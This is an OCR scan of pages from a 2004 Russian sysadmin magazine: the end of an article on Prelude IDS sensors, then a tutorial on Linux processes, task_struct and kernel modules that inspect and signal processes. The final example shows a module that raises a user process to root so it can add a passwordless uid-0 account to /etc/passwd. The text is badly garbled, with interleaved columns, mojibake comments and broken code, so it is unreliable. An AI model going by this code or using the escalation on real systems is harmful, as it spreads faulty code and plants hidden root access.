.htdigest и работать по защищенному каналу SSL, но на
этом я останавливаться не буду. По адресу http://
www.giggled.org.uk/piwi_custom.html найдете документ, в
котором описано, как расширить возможности piwi по сор-
тировке IP-адресов.
Расширеное использование Prelude
Хотел было уже заканчивать статью, но, перечитав все
сначала, понял, что некоторые вопросы остались за кад-
ром и требуют, чтобы за них замолвили хотя бы пару слов.
А сериалов с вечным продолжением я не люблю, поэтому
уж потерпите.
Итак, как видите, Prelude довольно продвинутая IDS, к
тому же обладающая возможностью наращивания как ко-
личественного, так и качественного, некоторые готовые
решения уже имеются на сайте, а тем, кто может, позво-
лено заточить любой необходимый сенсор, для того что-
бы Prelude узнавала в нем своего. Сенсоров на отдель-
ный хост можно понаставлять сколько душа пожелает,
только вот вопрос – не потребуется ли для его нормаль-
ной работы второй процессор, а сеть переводить на гига-
бит. Поэтому увлекаться, наверное, не стоит, затраты по
защите возрастут в несколько раз, а эффективность – на
десятую процента. Наверное, стоит из всего предлагае-
мого комплекта выбрать то, что действительно необходи-
мо для нормальной работы.
Итак, для host-based-части, кроме штатного prelude-lml,
умеющего работать только с логами и понимающего логи
и других устройств, в том числе windows-систем, можно
использовать сенсор samhain, в который вместить все,
чего душа пожелает, и для очистки совести можно на кри-
тические системы вроде сервера или firewall установить на
выбор libsafe или для более полного контроля над систем-
нымы вызовами systrace (http://www.citi.umich.edu/u/provos/
systrace), патч для Prelude найдете: http://www.rstack.org/
oudot/prelude/systrace/files. Сразу оба использовать в боль-
шинстве случаев, я думаю, будет излишним.
№6(19), июнь 2004
безопасность
Если вы поддались статьям Павла Заклякова и настро-
или Snort, то ничего страшного, наложив патч http://
www.prelude-ids.org/download/releases/snort-prelude-reporting-
patch-latest.tar.gz и пересобрав его, можно затем использо-
вать его как сенсор NIDS и отказаться совсем от установки
prelude-nids (зачем два аналогичных по функциональности
сенсора). Если же со Snort еще не сложилось, то, наверное,
самым удобным вариантом будет конвертация правил Snort
в правила Prеlude NIDS, подключение их к системе и можно
использовать таким образом все наработки обеих команд.
Патч к honeypot-системе honeyd (http://www.citi.umich.edu/
u/provos/honeyd, и патч http://www.rstack.org/oudot/prelude/
honeypots/files) позволяет собирать и в удобной форме ана-
лизировать информацию о действиях нападающей сто-
роны, а сама honeypot-система при правильной и осто-
рожной организации является неплохой приманкой для по-
тенциальных взломщиков и к тому же практически не ге-
нерирует ошибки, поэтому в некоторых случаях является
весьма полезной добавкой.
И еще один интересный сенсор raprelude (http://
www.intrusion-lab.net/tools/raprelude), позволяющий фикси-
ровать все виды сетевых событий, зарегистрированных
демоном argus (http://qosient.com/argus). При помощи его
можно отобрать весь трафик, идущий к определенному
сервису на определенном компьютере или, например, на-
рушающий правила firewall.
Для обнаружения аномалий в Wi-Fi 802.11 сетях пред-
назначен появившийся совсем недавно сенсор WlanDetect
(http://www.security-labs.org/wlandetect), определяющий на
момент написания статьи 10 возможных нарушений.
Патч к Nagios (http://www.nagios.org, сам патч http://
www.exaprobe.com/labs/downloads/Nagios_Plugin/prelude-
nagios-0.0.2.tar.gz) позволяет централизованно контроли-
ровать состояние сетей и компьютеров.
И последняя связка, без которой статья бы не была пол-
ной. Речь идет о сканере безопасности Nessus (http://
www.nessus.org), который также может работать в связке с
Prelude после наложения патча http://www.prelude-ids.org/
download/releases/nessus-2.0.7-reporting-patch-v7.diff, плюс
дополнительно используя инструменты http://www.rstack.org/
oudot/prelude/correlation, позволяет уменьшить количество
предупреждений и в итоге сконцентироваться на действи-
тельно серьезных проблемах, помогут выявить соответ-
ствия между предупреждениями и, наконец, позволяют
связать предупреждения и системные уязвимости и по-
мочь в реальной оценке серьезности угрозы.
Как видите, гибридная Prelude IDS обладает большой
функциональностью, а гибкость при выборе различного
вида сенсоров позволяет создать требуемую конфигура-
цию защитной системы. Но на этом проект не остановил
свое развитие, и у разработчиков большие планы по ин-
теграции, анализу и корреляции данных. Также планиру-
ется большая поддержка различных приложений, и не в
последнюю очередь в списке стоят различные виды firewall
(в том числе и аппаратные модели), позволяющие вовре-
мя среагировать и остановить атаку. Несмотря на то что я
пытался многое расказать в статье, думаю, что постепен-
но все же придется еще вернуться к Prelude, чтобы рас-
сказать о нововведениях. Удачи.
41
 программирование
ПРОЦЕССЫ В LINUX
Общие сведения о процессах
Процесс состоит из адресного пространства и набора струк-
тур данных, содержащихся внутри ядра операционной сис-
темы. Адресное пространство представляет собой совокуп-
ность страниц памяти, которую ядро выделило для выполне-
ния процесса. Оно содержит сегменты кода для программы,
которую выполняет процесс, используемые процессом пе-
ременные, стек процесса и различную вспомогательную
информацию, необходимую ядру во время работы процесса.
В структурах данных ядра хранится различная информация о
каждом процессе. К наиболее важным сведениям относятся:
! таблица распределения памяти процесса;
! текущий статус процесса;
! приоритет выполнения процесса;
! информация о ресурсах, которые использует процесс;
! владелец процесса.
Совокупность всех процессов, выполняющихся в сис-
теме, образует иерархическую структуру, подобную дере-
ву каталогов файловой системы. На вершине дерева про-
цессов находится управляющий процесс init, являющийся
предком всех системных и пользовательских процессов.
С каждым процессом связан набор атрибутов, которые
помогают системе управлять выполнением и планирова-
нием процессов. С точки зрения системного администри-
рования интерес представляют следующие атрибуты:
! Идентификатор процесса (PID). Каждому новому про-
цессу ядро присваивает уникальный идентификацион-
ный номер. В любой момент времени идентификатор
является уникальным, хотя после завершения процес-
са он может использоваться снова для другого процес-
са. Некоторые идентификаторы зарезервированы сис-
темой для особых процессов. Так, процесс с идентифи-
катором 1 – это процесс инициализации init, являющий-
ся предком всех других процессов в системе.
! Идентификатор родительского процесса (PPID). Новый
процесс создается путем клонирования одного из уже
существующих процессов. Исходный процесс в терми-
нологии UNIX называется родительским, а его клон –
порожденным. Помимо собственного идентификатора
каждый процесс имеет атрибут PPID, т.е. идентифика-
тор своего родительского процесса.
42
Характерной чертой современных операционных
систем является поддержка многозадачности –
параллельного выполнения нескольких задач
(task), что обеспечивается главным образом
аппаратными возможностями центрального
процессора. Под задачей понимают экземпляр
программы, которая находится в стадии
выполнения. Синонимом термина «задача»
является термин «процесс», который впервые
начали применять разработчики системы MULTICS
в 60-х годах прошлого века.
ВЛАДИМИР МЕШКОВ
! Идентификатор владельца (UID) и эффективный иден-
тификатор владельца (EUID). UID – это идентифика-
ционный номер пользователя, который создал данный
процесс. Вносить изменения в процесс могут только
его создатель и привилегированный пользователь.
EUID – это «эффективный» UID процесса. EUID исполь-
зуется для того, чтобы определить, к каким ресурсам
и файлам у процесса есть право доступа. У большин-
ства процессов UID и EUID будут одинаковыми. Исклю-
чение составляют программы, у которых установлен
бит смены идентификатора пользователя.
! Идентификатор группы (GID) и эффективный иденти-
фикатор группы (EGID). GID – это идентификационный
номер группы данного процесса. EGID связан с GID так-
же, как EUID с UID.
! Приоритет. От приоритета процесса зависит, какую
часть времени центрального процессора он получит.
! Текущий каталог, корневой каталог, переменные про-
граммного окружения.
! Управляющий терминал (controlling terminal).
Жизненный цикл процесса
Все процессы, кроме init, создаются при помощи систем-
ного вызова fork (процесс init создается во время началь-
ной загрузки системы). Вызывая функцию fork, процесс
создает свой дубликат, называемый дочерним процессом.
Дочерний процесс является практически точной копией
родительского, но имеет следующие отличия:
! у дочернего процесса свой PID;
! PPID дочернего процесса равен PID родителя.
После выполнения fork родительский процесс может
посредством системного вызова wait или waitpid приоста-
новить свое выполнение до завершения порожденного
(дочернего) процесса или продолжать свое выполнение
независимо от дочернего, а дочерний процесс в свою оче-
редь может запустить на выполнение новую программу
при помощи одного из системных вызовов семейства exec.
Совместное применение системных вызовов fork и exec
представляет мощный инструмент для программиста. Бла-
годаря ветвлению при использовании вызова exec в до-
чернем процессе может выполняться другая программа.

Таким образом, один процесс может создавать несколько
других процессов для параллельного выполнения несколь-
ких программ, и поскольку каждый порожденный процесс
выполняется в собственном адресном пространстве, ста-
тус его выполнения не влияет на родительский процесс.
Процесс завершает выполнение при помощи системно-
го вызова exit. Аргументом этого вызова является код стату-
са завершения процесса. Младшие восемь бит статуса дос-
тупны родительскому процессу при условии, что он выпол-
нил системный вызов wait. По соглашению нулевой код ста-
туса завершения означает, что процесс завершил выполне-
ние успешно, а ненулевой свидетельствует о неудаче.
Следующий пример демонстрирует работу вызова fork
и порядок обработки кода статуса завершения процесса:
#include <stdio.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
pid_t pid; // èäåíòèôèêàòîð ïðîöåññà
int status; // êîä ñòàòóñà çàâåðøåíèÿ ïðîöåññà
/* Ïðè ïîìîùè fork cîçäàåì äî÷åðíèé ïðîöåññ */
switch(pid = fork()) {
case -1:
perror("fork");
return -1;
case 0:
printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
/* Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí 4 */
exit(4);
} case -1:
printf("Âûïîëíÿåòñÿ ðîäèòåëüñêèé ïðîöåññ\n");
printf("Èäåíòèôèêàòîð äî÷åðíåãî ïðîöåññà - %d\n", pid);
/*
* Æäåì çàâåðøåíèÿ äî÷åðíåãî ïðîöåññà
* è îáðàáàòûâàåì êîä ñòàòóñà çàâåðøåíèÿ
*/
if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) {
printf("Äî÷åðíèé ïðîöåññ ñ PID = %d ↵
çàâåðøèë âûïîëíåíèå\n", pid);
printf("Êîä ñòàòóñà çàâåðøåíèÿ ðàâåí %d\n", ↵
WEXITSTATUS(status));
} Как видно из приведенного примера, в дочернем про-
return 0;
}
Функция waitpid приостанавливает выполнение роди-
тельского процесса, пока не завершится порожденный
процесс. Первый аргумент этой функции (pid) указывает,
завершения какого именно порожденного процесса сле-
дует ожидать.
Первый аргумент может принимать следующие значения:
! > 0 – ждать завершения процесса с данным иденти-
фикатором;
! 0 – ждать завершения любого порожденного процес-
са, принадлежащего к той же группе, что и родительс-
кий;
! -1 – ждать завершения любого порожденного про-
цесса;
! < -1 – ждать любого порожденного процесса, иденти-
фикатор группы (GID) которого является абсолютным
значением pid.
№6(19), июнь 2004
программирование
Второй аргумент будет содержать код статуса завер-
шения процесса, поэтому он передается по ссылке. Воз-
вращаемым значением функции будет PID порожденного
процесса.
В нашем примере значение первого аргумента равно
идентификатору дочернего процесса.
Для обработки кода статуса завершения процесса ис-
пользуются два макроса – WIFEXITED и WEXITSTATUS,
которые определены в файле <sys/wait.h>.
Макрос WIFEXITED возвращает ненулевое значение,
если порожденный процесс был завершен посредством
вызова exit. Макрос WEXITSTATUS возвращает код завер-
шения порожденного процесса, присвоенного вызовом
exit. Оба этих макроса обрабатывают значение второго
аргумента функции waitpid – переменной status. Эта пе-
ременная имеет следующий формат:
! биты 0 – 6 – содержат нуль, если порожденный про-
цесс был завершен с помощью функции exit, или но-
мер сигнала, завершившего процесс.
! бит 7 – равен 1, если из-за прерывания порожденного
процесса сигналом был создан дамп образа процесса
(файл core). В противном случае равен 0.
! биты 8 – 15 – содержат код завершения порожденного
процесса, переданный посредством exit.
А теперь немного изменим приведенный выше пример
для демонстрации возможности запуска в дочернем про-
цессе новой программы:
....
switch(pid = fork()) {
perror("fork");
return -1;
case 0:
printf("Âûïîëíÿåòñÿ äî÷åðíèé ïðîöåññ\n");
execl("/bin/gzip", "gzip", "test.txt", 0);
perror("gzip");
exit(errno);
}
....
цессе при помощи системного вызова exec запускается
на выполнение программа gzip, при помощи которой ар-
хивируется файл test.txt.
Получение информации о процессе
при помощи proc
Главным источником информации о процессах на пользо-
вательском уровне является файловая система proc. Для
доступа к этой информации достаточно перейти в каталог
/proc. Информация о каждом процессе собрана в отдель-
ном подкаталоге, имя которого совпадает с идентифика-
ционным номером процесса. Так, например, информация
о процессе init находится в подкаталоге 1, т.к. идентифика-
ционный номер этого процесса зарезервирован и равен 1.
На примере процесса init рассмотрим, какие файлы
присутствуют в каталоге процесса и какую информацию
о процессе они содержат (какая информация в них содер-
жится):
43
 программирование
Все эти значения определены в файле <linux/sched.h>:

#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define TASK_ZOMBIE 4
#define TASK_STOPPED 8

struct mm_struct *mm,

struct mm_struct *active_mm
Указатели на адресное пространство, выделенное процес-
су. В состав структуры struct mm_struct входит структура
struct vm_area_struct * mmap, в которой находятся данные
! cmdline – список аргументов процесса; об областях памяти, выделенных процессу. Два поля этой
! cwd – символическая ссылка на текущий рабочий ка- структуры, vm_start и vm_end, содержат адреса памяти,
талог процесса; которую использует процесс. Детальное рассмотрение
! environ – переменные среды процесса; структуры struct vm_area_struct выходит за рамки данной
! exe – символическая ссылка на исполняемый файл про- статьи, для дальнейшей работы нам достаточно и этой
цесса; информации.
! fd – подкаталог, содержащий ссылки на файлы, откры-
тые процессом; pid_t pid
! maps – адресное пространство, выделенное процессу; Идентификационный номер процесса.
! root – символическая ссылка на корневой каталог про-
цесса; uid_t uid, euid, suid, fsuid
! mounts – информация о точках монтирования и типах Идентификаторы владельца процесса.
файловых систем;
! status – статистическая информация о процессе (имя gid_t gid, egid, sgid, fsgid
процесса, идентификационный номер, состояние про- Идентификаторы группы, к которой принадлежит данный
цесса, идентификатор владельца, группы, статистика процесс.
использования памяти и т. д.).
char comm[16]
Таким образом, при помощи /proc можно получить ис- Символьное имя процесса.
черпывающую информацию об интересующем процессе,
используя имеющийся в нашем распоряжении инструмен- struct fs_struct *fs
тарий – команды shell либо средства языка программиро- Информация о файловой системе. Сама структура struct
вания. fs_struct определена в файле <linux/fs_struct.h>. Вот как
она выглядит:
Представление процессов в ядре
Совокупность процессов в ядре Linux представляет собой struct fs_struct {
atomic_t count;
кольцевой двусвязный список структур struct task_struct. rwlock_t lock;
Структура struct task_struct определена в файле <linux/ int umask;
struct dentry * root, * pwd, * altroot;
sched.h> и содержит полную информацию о выполняемом struct vfsmount * rootmnt, * pwdmnt, * altrootmnt;
процессе. Для нас интерес представляют следующие поля };
этой структуры:
Информация о точках монтирования корневого ката-
volatile long state лога и о текущем каталоге процесса находится в полях
Статус выполняемого процесса. Может принимать следу- struct dentry *root и *pwd.
ющие значения:
! TASK_RUNNING – процесс находится в очереди запу- struct files_struct *files
щенных на выполнение задач; Информация о файлах, открытых процессом. Состав
! TASK_INTERRUPTIBLE – процесс в состоянии «сна», структуры struct files_struct (см.<linux/sched.h>:
но может быть «разбужен» по сигналу или по истече-
нии таймера; /*
* Open file table structure
! TASK_UNINTERRUPTIBLE – состояние процесса схо- */
же с TASK_INTERRUPTIBLE, только он не может быть struct files_struct {
atomic_t count;
разбужен; /* Protects all the below members */
! TASK_ZOMBIE – процесс-«зомби». Процесс завершил /* Nests inside tsk->alloc_lock */
rwlock_t file_lock;
свою работу до того, как родительский процесс выпол- int max_fds;
нил системный вызов wait; int max_fdset;
int next_fd;
! TASK_STOPPED – выполнение процесса остановлено. struct file ** fd; /* current fd array */

44
 программирование
.... unsigned long, каждый разряд которого соответствует од-
struct file * fd_array[NR_OPEN_DEFAULT]; ному сигналу. Номера всех сигналов перечислены в <asm-
};
i386/signal.h>.
В поле next_fd находится число открытых процессом
файлов, а в массиве структур struct file ** fd собрана ин- sigset_t blocked
формация об этих файлах. Структура struct file определе- Маска сигналов, заблокированных процессом. Для бло-
на в <linux/fs.h>. кирования сигнала соответствующий бит устанавливает-
ся в 1.
struct signal_struct *sig
Указатели на обработчики сигналов. Определение struct struct sigpending pending
signal_struct находится в <linux/signal.h>: Содержит номера сигналов, посылаемых процессу. Эта
структура определена в <linux/sched.h> следующим обра-
struct signal_struct { зом:
atomic_t count;
struct k_sigaction action[_NSIG];
spinlock_t siglock; struct sigpending {
}; struct sigqueue *head, **tail;
sigset_t signal;
В массиве структур struct k_sigaction action[_NSIG] на- };
ходятся указатели на функции, которые вызывает процесс
при получении сигналов. Структура struct k_sigaction оп- sigset_t signal, как мы уже рассмотрели, является про-
ределена в <asm-i386/signal>: стой последовательностью бит, и посылка сигнала про-
цессу означает установку бита в соответствующей пози-
struct k_sigaction { ции в 1.
struct sigaction sa;
}; Для более детального ознакомления с вышеперечис-
ленными полями разработаем модуль ядра, который при
Структура struct sigaction определена в этом же файле: загрузке будет отображать информацию об определенном
процессе, подобно тому, как это делает /proc (см. «Полу-
struct sigaction { чение информации о процессе при помощи proc»).
__sighandler_t sa_handler;
unsigned long sa_flags; Для решения этой задачи нам понадобится какой-ни-
void (*sa_restorer)(void); будь процесс. Лучше всего, если он будет функциониро-
sigset_t sa_mask; /* mask last for extensibility */
}; вать в фоновом режиме (в режиме демона, daemon). Этот
процесс после запуска будет выполнять следующие дей-
Адрес обработчика сигнала находится в поле __sighand- ствия:
ler_t sa_handler структуры struct sigaction. Это поле может ! перехватывать все сигналы, а для сигнала SIGUSR1
принимать следующие значения, определенные в <asm- определять новый обработчик;
i386/signal.h>: ! открывать исполняемый файл программы, находящий-
ся в текущем каталоге.
#define SIG_DFL ((__sighandler_t)0) /* default signal handling */
#define SIG_IGN ((__sighandler_t)1) /* ignore signal */
Создадим такой процесс при помощи следующего
Значение SIG_DFL требует выполнения стандартного кода:
действия. Отметим, что SIG_DFL эквивалентен NULL. Зна-
чение SIG_IGN означает, что сигнал будет игнорировать- /* Ôàéë sfc.c */
#include <stdio.h>
ся. Также в этом поле может находиться адрес функции, #include <unistd.h>
которая будет вызвана по приходу сигнала. #include <fcntl.h>
#include <signal.h>
Поле sigset_t sa_mask представляет собой набор сиг- #include <errno.h>
налов, которые должны быть заблокированы в течение #include <sys/types.h>
обработки данного сигнала. Например, если для процес- static pid_t pid; // èäåíòèôèêàòîð ñîçäàâàåìîãî ïðîöåññà
са необходимо заблокировать сигналы SIGHUP и SIGINT,
int main ()
пока обрабатывается сигнал SIGCHLD, тогда относящая- {
ся к SIGCHLD sa_mask для процесса устанавливает раз- pid = fork();
ряды, соответствующие SIGHUP и SIGINT. if (pid < 0) {
Определение sigset_t находится в <asm-i386/signal.h>: perror("fork");
return -1;
}
#define _NSIG 64
#define _NSIG_BPW 32 if (pid == 0) { // äî÷åðíèé ïðîöåññ
#define _NSIG_WORDS (_NSIG / _NSIG_BPW) setsid(); // îòñîåäèíÿåìñÿ îò òåðìèíàëà
start_daemon();
typedef struct { }
unsigned long sig[_NSIG_WORDS];
} sigset_t; return 0;
}

Единственный компонент в sigset_t – это массив из Функция start_daemon() выполняет следующие задачи:

№6(19), июнь 2004 45

 программирование
! перехватывает все сигналы; struct task_struct * find_task_by_name(__u8 *name)
! для сигнала SIGUSR1 определяет новый обработчик; {
struct task_struct *p;
! открывает исполняемый файл программы, находящий-
ся в текущем каталоге; for_each_task(p)
if(strcmp(p->comm, name) == 0) return p;
! запускает на выполнение бесконечный цикл.
return 0;
}
void start_daemon()
{
int i, out; Для прохождения всего списка процессов в системе
предусмотрен макрос for_each_task(p) (см. файл <linux/
sigset_t mask;
static struct sigaction act; sched.h>):
sigfillset(&mask); #define for_each_task(p) \
sigdelset(&mask, SIGUSR1); for (p = &init_task ; (p = p->next_task) != &init_task ; )
/* Áëîêèðóåì âñå ñèãíàëû */
sigprocmask(SIG_SETMASK, &mask, NULL); Функция find_task_by_name будет вызвана во время
процедуры инициализации модуля:
/* Îïðåäåëÿåì íîâûé îáðàáîò÷èê äëÿ SIGUSR1 */
act.sa_handler = stop_daemon;
sigaction(SIGUSR1, &act, NULL); static int __init task_on(void)
{
/* Îòêðûâàåì èñïîëíÿåìûé ôàéë ïðîãðàììû */ struct task_struct *p;
out = open("./sfc", O_RDONLY); int pid = 0;
if(out < 0) perror("open"); int i;
for(;;); Ищем структуру, которая описывает процесс sfc:
}
p = find_task_by_name("sfc");
Новый обработчик сигнала SIGUSR1 просто завершит
выполнение демона, вызвав функцию exit: Если поиск завершился удачно, отобразим PID процес-
са (результаты работы модуля будут сохранены в файле
void stop_daemon() /var/log/messages):
{
exit(0);
} if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
printk(KERN_INFO "No such task\n");
Получаем исполняемый файл и запускаем его на вы- return 0;
}
полнение:
Можно также выполнить поиск процесса по заданному
# gcc -o sfc sfc.c PID при помощи функции find_task_by_pid(int pid) (см.
# ./sfc
<linux/sched.h>). Повторим поиск процесса, используя най-
Процесс начинает свое выполнение в фоновом режи- денный PID:
ме. Найдем его в списке процессов:
pid = p->pid;
# ps -ax | grep sfc p = find_task_by_pid(pid);
903 ? R 0:02 ./sfc
Процесс найден. Отобразим результаты поиска:
Итак, процесс ./sfc успешно выполняется, и его PID ! имя процесса и его состояние:
равен 903.
Теперь приступим к реализации модуля ядра. printk(KERN_INFO "NAME - %s\n", p->comm);
printk(KERN_INFO "STATE - %u\n", (u32)p->state);
/* Ôàéë task.c */
#include <linux/config.h>
! адресное пространство процесса:
#include <linux/module.h>
#include <linux/slab.h> printk(KERN_INFO "START ADDRESS - 0x%08X\n", ↵
#include <linux/sched.h> (u32)p->active_mm->mmap->vm_start);
#include <linux/types.h> printk(KERN_INFO "END ADDRESS - 0%08X\n", ↵
#include <linux/signal.h> (u32)p->active_mm->mmap->vm_end);

Первое, что должен сделать модуль после загрузки, – ! идентификаторы:

найти в списке структур struct task_struct структуру, со-
ответствующую процессу sfc. Поиск выполняется при printk(KERN_INFO "UID - %d\n", p->uid);
printk(KERN_INFO "GID - %d\n", p->gid);
помощи функции find_task_by_name(). Аргументом фун- printk(KERN_INFO "EUID - %d\n", p->euid);
кции является имя искомого процесса, возвращаемое printk(KERN_INFO "EGID - %d\n", p->egid);
printk(KERN_INFO "FSUID - %d\n", p->fsuid);
значение – указатель на структуру процесса struct task_ printk(KERN_INFO "FSGID - %d\n", p->fsgid);
struct.
Функция find_task_by_name выглядит следующим об- ! точка монтирования корневого каталога и имя катало-
разом: га, откуда стартовал процесс sfc:

46

printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name);
printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name);
! файлы, открытые процессом sfc:
for(i = 0; i < p->files->next_fd; i++)
printk(KERN_INFO "%s\n", ↵
p->files->fd[i]->f_dentry->d_name);
программирование
Именно для этого сигнала мы ввели новый обработ-
чик, функцию stop_daemon. Извлечем адрес этой функ-
ции из исполняемого файла sfc и сравним его с результа-
том, полученным при работе модуля:
# objdump -x ./sfc | grep stop_daemon
080484D8 g F .text 00000010 stop_daemon

! адреса обработчиков сигналов: Адрес функции stop_daemon – нового обработчика сиг-

нала SIGUSR1 – равен 0x080484D8. Точно такое же зна-
for(i = 0; i < 31; i++) чение выдал и модуль.
printk(KERN_INFO "%d - 0x%08X\n", i, ↵
(unsigned int)p->sig->action[i].sa.sa_handler); Согласитесь, что просто смотреть на процесс неинте-
ресно. Давайте им управлять. Пошлем процессу sfc из
return 0;
} модуля сигнал SIGUSR1, при получении которого процесс
завершит свое выполнение.
Функция выгрузки модуля из системы имеет стандар- Для того чтобы из ядра послать процессу сигнал, не-
тный вид: обходимо установить в структуре struct sigpending pending
бит, соотвествующий порядковому номеру посылаемого
static void __exit task_off(void) сигнала, в единицу, а также присвоить единичное значе-
{
return; ние полю sigpending, которое служит индикатором того,
} что процесс получил сигнал и его надо обработать.
module_init(task_on); Перепишем функцию инициализации модуля – вмес-
module_exit(task_off); то отображения информации о процессе sfc модуль будет
посылать ему сигнал SIGUSR1.
Загружаемый модуль получим при помощи следующе- Функция инициализации модуля будет выглядеть сле-
го Makefile: дующим образом:

.PHONY = clean static int __init task_on(void)

CC = gcc {
CFLAGS = -O2 -Wall struct task_struct *p;
KERNELDIR = /usr/src/linux
MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include
Ищем процесс sfc:
all: task.o
p = find_task_by_name("sfc");
task.o: task.c
$(CC) $(CFLAGS) $(MODFLAGS) -c task.c
if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
clean: printk(KERN_INFO "No such task\n");
rm -f *.o *~ core
return 0;
}
Процесс sfc уже запущен на выполнение. После заг-
рузки модуля информация об этом процессе будет со- В структуре struct sigpending pending устанавливаем
брана в файле /var/log/messages. Cравните результаты бит, соответствующий сигналу SIGUSR1:
работы модуля с данными о процессе, которые находят-
ся в /proc. sigaddset(&p->pending.signal, SIGUSR1);
p->sigpending = 1; // èíäèêàòîð ïðèõîäà ñèãíàëà
Остановимся подробнее на информации, касающейся
адресов обработчиков сигналов: return 0;
}

Функция sigaddset устанавливается в 1 бит с указан-

ным номером. Номер бита передается как параметр фун-
кции. Эта функция (платформенно-зависимый вариант)
определена в файле <asm-i386/signal.h>:

static __inline__ void sigaddset(sigset_t *set, int _sig)

Как мы видим, все адреса обработчиков сигналов име-
ют значение SIG_DFL, т.е. NULL. Это значит, что при по-
ступлении любого из этих сигналов процессу, система
выполнит стандартные действия.
Исключение составляет сигнал под номером 9 (10-й в
списке). Согласно перечню, приведенному в <asm-i386/
signal.h>, это сигнал SIGUSR1:
#define SIGUSR1 10
{
__asm__("btsl %1,%0" : "=m"(*set) : ↵
"Ir"(_sig - 1) : "cc");
}
Загрузив модуль, мы тем самым отправим процессу
sfc сигнал SIGUSR1 и остановим его выполнение.
Кстати, совсем не обязательно переопределять обра-
ботчик сигнала в самом процессе – это можно сделать в
модуле, вписав адрес нового обработчика непосредствен-
но в поле sa_handler.

№6(19), июнь 2004 47

 программирование
Посмотрим, как это делается. Перепишем функцию
start_daemon процесса, убрав из нее переопределение
обработчика сигнала SIGUSR1:
void start_daemon()
{
sigset_t mask;
sigfillset(&mask);
/* Áëîêèðóåì âñå ñèãíàëû */
sigprocmask(SIG_SETMASK, &mask, NULL);
for(;;);
} }
В функции start_daemon() заблокированы все сигналы,
новые обработчики не определены. Функцию stop_daemon
оставим без изменений.
Получаем исполняемый файл и определяем адрес
функции stop_daemon:
# gcc -o sfc sfc.c
# objdump -x ./sfc | grep stop_daemon
08048434 g F .text 00000010 stop_daemon
Адрес функции stop_daemon равен 0x08048434. Этот
адрес будет указан в качестве нового обработчика сигна-
ла SIGUSR2 для процесса sfc.
Переопределение обработчика сигнала выполняет не-
посредственно модуль, вследствие чего функция инициа-
лизации модуля принимает следующий вид:
static int __init task_on(void)
{
struct task_struct *p;
Ищем структуру, соответствующую процессу sfc:
p = find_task_by_name("sfc");
if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
printk(KERN_INFO "No such task\n");
return 0;
} тановки полей uid/gid, euid/egid, suid/sgid, fsuid/fsgid струк-
Устанавливаем адрес нового обработчика сигнала
SIGURS2 – вписываем адрес функции stop_daemon в поле
адреса обработчика sa_handler. Порядковый номер сиг-
нала SIGUSR2 известен и равен 12 (см. <asm-i386/
signal.h>):
(unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434;
Если мы сейчас же пошлем сигнал процессу, то он его
не воспримет. Почему? Дело в том, что все сигналы на
данный момент заблокированы в функции start_daemon.
Чтобы процесс воспринял приход сигнала SIGUSR2, нуж-
но его разблокировать. Для этого необходимо сбросить
соответствующий бит в маске заблокированных сигна-
лов – в поле sigset_t blocked структуры task_struct:
sigdelset(p->blocked.sig, SIGUSR2);
А теперь посылаем сигнал SIGURS2 процессу:
48
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1;
return 0;
}
Сброс бита в маске заблокированных сигналов выпол-
няет функция sigdelset(), которая определена в файле
<asm-i386/signal.h>:
static __inline__ void sigdelset(sigset_t *set, int _sig)
{
__asm__("btrl %1,%0" : "=m"(*set) : ↵
"Ir"(_sig - 1) : "cc");
Это также платформенно-зависимый вариант функции.
Подведем предварительные итоги – мы выяснили, как
при помощи модуля ядра можно получить информацию о
выполняющемся процессе и как из ядра послать процес-
су сигнал.
Рассмотрим еще один пример работы с содержимым
структуры task_struct.
Предположим, что в системе зарегистрирован пользо-
ватель play. Идентификатор этого пользователя (UID) ра-
вен 1000, и принадлежит он к группе users (GID=100). От
имени этого пользователя в фоновом режиме выполняет-
ся процесс, который по приходу сигнала SIGUSR2 пыта-
ется добавить в файл /etc/passwd новую учетную запись
для пользователя play1, обладающего правами root:
play1::0:0:,,,:/home/play1:/bin/bash
Очевидно, что попытка записи в файл /etc/passwd ка-
кой-либо информации будет безуспешной, если процесс
не обладает достаточным уровнем привилегий. Значит,
необходимо выдать этому процессу соответствующие пол-
номочия – права суперпользователя (root).
Заботу об этом берет на себя модуль ядра, который
после загрузки находит структуру, описывающую про-
цесс, назначает ему права суперпользователя путем ус-
туры процесса в 0 и после этого посылает процессу «уве-
домление» о том, что тот «выиграл в лотерею» – полу-
чил права root.
«Уведомление» представляет собой сигнал SIGUSR2,
при получении которого процесс выполняет запись инфор-
мации в файл /etc/passwd, уже имея для этого соответ-
ствующие полномочия.
Итак, нам необходим процесс, который по сигналу
SIGUSR2 будет выполнять запись в /etc/passwd. Модифи-
цируем уже имеющийся в нашем распоряжении процесс
sfc. Изменениям подвергнутся только функции start_daemon
и stop_daemon.
В функции start_daemon определим новый обработчик
для сигнала SIGUSR2:
void start_daemon()
{
sigset_t mask;
static struct sigaction act;
sigfillset(&mask);
sigdelset(&mask, SIGUSR2);
 программирование
веден в 59-м выпуске электронного журнала PHRACK
/* Block all signal */ (www.phrack.com), автор которого kad (реальное имя не
sigprocmask(SIG_SETMASK, &mask, NULL);
было указано, только e-mail – kadamyse@altern.org) пока-
act.sa_handler = stop_daemon; зал, как можно присвоить права root текущему процессу
sigaction(SIGUSR2, &act, NULL);
пользователя, используя для этой цели исключения.
for(;;); Замечание. Исключения (exception) – это внутрен-
}
ние прерывания процессора, сигнализирующие ему о
Обработчик сигнала SIGUSR2 – функция stop_daemon – том, что произошла исключительная ситуация, требую-
имеет следующий вид: щая немедленного вмешательства. Яркий пример ис-
ключения – ошибка деления на 0, Divide Error, мнемо-
void stop_daemon() ническое обозначение #DE. Подробная информация об
{
int psw; исключениях и полный их перечень приведен в IA-32 Intel
Architecture Software Developer’s Manual, Volume 3:
